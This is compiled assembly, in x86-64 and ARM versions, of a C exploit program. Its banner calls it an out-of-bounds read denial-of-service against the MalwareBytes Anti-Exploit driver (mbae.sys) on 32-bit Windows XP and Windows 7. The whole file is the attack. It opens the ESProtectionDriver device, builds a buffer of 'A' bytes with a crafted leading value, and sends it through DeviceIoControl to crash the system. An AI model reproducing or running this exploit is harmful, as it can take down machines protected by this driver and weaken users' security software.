	.file	"extr_35842.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"-------------------------------------------------------------------------------"
	.align 8
.LC1:
	.string	"        MalwareBytes Anti-Exploit (mbae.sys) Out-of-bounds Read DoS            "
	.align 8
.LC2:
	.string	"             Tested on Windows XP SP3/Windows 7 SP1 (32bit)                    "
	.align 8
.LC3:
	.string	"-------------------------------------------------------------------------------\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC4:
	.string	"ESProtectionDriver"
.LC5:
	.string	"\\\\.\\%s"
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"\n[i] Size of total buffer being sent %d bytes"
	.section	.rodata.str1.1
.LC7:
	.string	"\n[-] Open %s device failed\n\n"
	.section	.rodata.str1.8
	.align 8
.LC8:
	.string	"\n[+] Open %s device successful"
	.align 8
.LC9:
	.string	"\n[~] Press any key to DoS . . ."
	.section	.rodata.str1.1
.LC10:
	.string	"\n[+] DoS buffer sent\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	sub	rsp, 24
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR MAX_PATH[rip]
	mov	rcx, rsp
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
	cmp	rsp, rax
	je	.L3
.L13:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L13
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L14
.L4:
	lea	rdi, .LC0[rip]
	mov	DWORD PTR -48[rbp], 0
	mov	r14, rsp
	mov	DWORD PTR -44[rbp], 16777215
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	rdi, rsp
	lea	rdx, .LC4[rip]
	lea	rsi, .LC5[rip]
	call	sprintf@PLT
	mov	ecx, DWORD PTR PAGE_READWRITE[rip]
	xor	edi, edi
	mov	esi, DWORD PTR BUFSIZE[rip]
	mov	edx, DWORD PTR MEM_COMMIT[rip]
	or	edx, DWORD PTR MEM_RESERVE[rip]
	call	VirtualAlloc@PLT
	mov	edx, DWORD PTR BUFSIZE[rip]
	mov	esi, 65
	mov	r13, rax
	mov	rdi, rax
	call	memset@PLT
	mov	edx, 4
	lea	rsi, -44[rbp]
	mov	rdi, r13
	call	memcpy@PLT
	mov	esi, DWORD PTR BUFSIZE[rip]
	lea	rdi, .LC6[rip]
	xor	eax, eax
	call	printf@PLT
	mov	r8d, DWORD PTR OPEN_EXISTING[rip]
	xor	r9d, r9d
	mov	rdi, r14
	mov	edx, DWORD PTR FILE_SHARE_READ[rip]
	mov	esi, DWORD PTR GENERIC_READ[rip]
	push	rcx
	xor	ecx, ecx
	or	esi, DWORD PTR GENERIC_WRITE[rip]
	or	edx, DWORD PTR FILE_SHARE_WRITE[rip]
	push	0
	call	CreateFile@PLT
	cmp	QWORD PTR INVALID_HANDLE_VALUE[rip], rax
	pop	rsi
	mov	rsi, r14
	mov	r12, rax
	pop	rdi
	je	.L15
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rdi, .LC9[rip]
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
	call	getch@PLT
	lea	rax, -48[rbp]
	push	0
	mov	rdx, r13
	push	rax
	mov	ecx, DWORD PTR BUFSIZE[rip]
	xor	r9d, r9d
	xor	r8d, r8d
	mov	esi, 2285568
	mov	rdi, r12
	call	DeviceIoControl@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	rdi, r12
	call	CloseHandle@PLT
	pop	rax
	xor	eax, eax
	pop	rdx
.L1:
	mov	rcx, QWORD PTR -40[rbp]
	xor	rcx, QWORD PTR fs:40
	jne	.L16
	lea	rsp, -24[rbp]
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L14:
	.cfi_restore_state
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L15:
	lea	rdi, .LC7[rip]
	xor	eax, eax
	call	printf@PLT
	or	eax, -1
	jmp	.L1
.L16:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	PAGE_READWRITE,4,4
	.comm	OPEN_EXISTING,4,4
	.comm	MEM_RESERVE,4,4
	.comm	MEM_COMMIT,4,4
	.comm	MAX_PATH,4,4
	.comm	INVALID_HANDLE_VALUE,8,8
	.comm	GENERIC_WRITE,4,4
	.comm	GENERIC_READ,4,4
	.comm	FILE_SHARE_WRITE,4,4
	.comm	FILE_SHARE_READ,4,4
	.comm	BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_35842.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"---------------------------------------------------"
	.ascii	"----------------------------\000"
	.align	2
.LC1:
	.ascii	"        MalwareBytes Anti-Exploit (mbae.sys) Out-of"
	.ascii	"-bounds Read DoS            \000"
	.align	2
.LC2:
	.ascii	"             Tested on Windows XP SP3/Windows 7 SP1"
	.ascii	" (32bit)                    \000"
	.align	2
.LC3:
	.ascii	"---------------------------------------------------"
	.ascii	"----------------------------\012\000"
	.align	2
.LC4:
	.ascii	"ESProtectionDriver\000"
	.align	2
.LC5:
	.ascii	"\\\\.\\%s\000"
	.align	2
.LC6:
	.ascii	"\012[i] Size of total buffer being sent %d bytes\000"
	.align	2
.LC7:
	.ascii	"\012[-] Open %s device failed\012\012\000"
	.align	2
.LC8:
	.ascii	"\012[+] Open %s device successful\000"
	.align	2
.LC9:
	.ascii	"\012[~] Press any key to DoS . . .\000"
	.align	2
.LC10:
	.ascii	"\012[+] DoS buffer sent\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC11:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #36
	mvn	r2, #-16777216
	mov	r4, #0
	ldr	r3, .L9
	ldr	r1, .L9+4
	ldr	r3, [r3]
	ldr	r0, .L9+8
	add	r3, r3, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r1, [r1]
	str	r1, [fp, #-32]
	mov	r1,#0
	str	r2, [fp, #-36]
	str	r4, [fp, #-40]
	bl	puts
	ldr	r0, .L9+12
	bl	puts
	ldr	r0, .L9+16
	bl	puts
	add	r8, sp, #16
	ldr	r0, .L9+20
	bl	puts
	ldr	r2, .L9+24
	ldr	r1, .L9+28
	mov	r0, r8
	bl	sprintf
	ldr	r2, .L9+32
	ldr	r3, .L9+36
	ldr	r1, [r2]
	ldr	r7, .L9+40
	ldr	r2, [r3]
	ldr	r3, .L9+44
	orr	r2, r1, r2
	ldr	r3, [r3]
	ldr	r1, [r7]
	mov	r0, r4
	bl	VirtualAlloc
	mov	r6, r0
	mov	r1, #65
	ldr	r2, [r7]
	bl	memset
	mov	r2, #4
	sub	r1, fp, #36
	mov	r0, r6
	bl	memcpy
	ldr	r1, [r7]
	ldr	r0, .L9+48
	bl	printf
	ldr	r0, .L9+52
	ldr	ip, .L9+56
	ldr	r2, .L9+60
	ldr	r1, .L9+64
	ldr	r3, .L9+68
	ldr	r0, [r0]
	ldr	r3, [r3]
	ldr	ip, [ip]
	ldr	r2, [r2]
	ldr	r1, [r1]
	orr	r2, ip, r2
	stm	sp, {r0, r4}
	orr	r1, r1, r3
	mov	r0, r8
	mov	r3, r4
	str	r4, [sp, #8]
	bl	CreateFile
	ldr	r3, .L9+72
	ldr	r3, [r3]
	cmp	r3, r0
	beq	.L7
	mov	r5, r0
	mov	r1, r8
	ldr	r0, .L9+76
	bl	printf
	ldr	r0, .L9+80
	bl	printf
	bl	getch
	sub	r1, fp, #40
	mov	r2, r6
	ldr	r3, [r7]
	str	r1, [sp, #8]
	mov	r0, r5
	ldr	r1, .L9+84
	str	r4, [sp, #12]
	str	r4, [sp, #4]
	str	r4, [sp]
	bl	DeviceIoControl
	ldr	r0, .L9+88
	bl	puts
	mov	r0, r5
	bl	CloseHandle
	mov	r0, r4
.L1:
	ldr	r3, .L9+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L8
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L7:
	mov	r1, r8
	ldr	r0, .L9+92
	bl	printf
	mvn	r0, #0
	b	.L1
.L8:
	bl	__stack_chk_fail
.L10:
	.align	2
.L9:
	.word	MAX_PATH
	.word	.LC11
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	MEM_COMMIT
	.word	MEM_RESERVE
	.word	BUFSIZE
	.word	PAGE_READWRITE
	.word	.LC6
	.word	OPEN_EXISTING
	.word	FILE_SHARE_READ
	.word	FILE_SHARE_WRITE
	.word	GENERIC_READ
	.word	GENERIC_WRITE
	.word	INVALID_HANDLE_VALUE
	.word	.LC8
	.word	.LC9
	.word	2285568
	.word	.LC10
	.word	.LC7
	.size	main, .-main
	.comm	PAGE_READWRITE,4,4
	.comm	OPEN_EXISTING,4,4
	.comm	MEM_RESERVE,4,4
	.comm	MEM_COMMIT,4,4
	.comm	MAX_PATH,4,4
	.comm	INVALID_HANDLE_VALUE,4,4
	.comm	GENERIC_WRITE,4,4
	.comm	GENERIC_READ,4,4
	.comm	FILE_SHARE_WRITE,4,4
	.comm	FILE_SHARE_READ,4,4
	.comm	BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
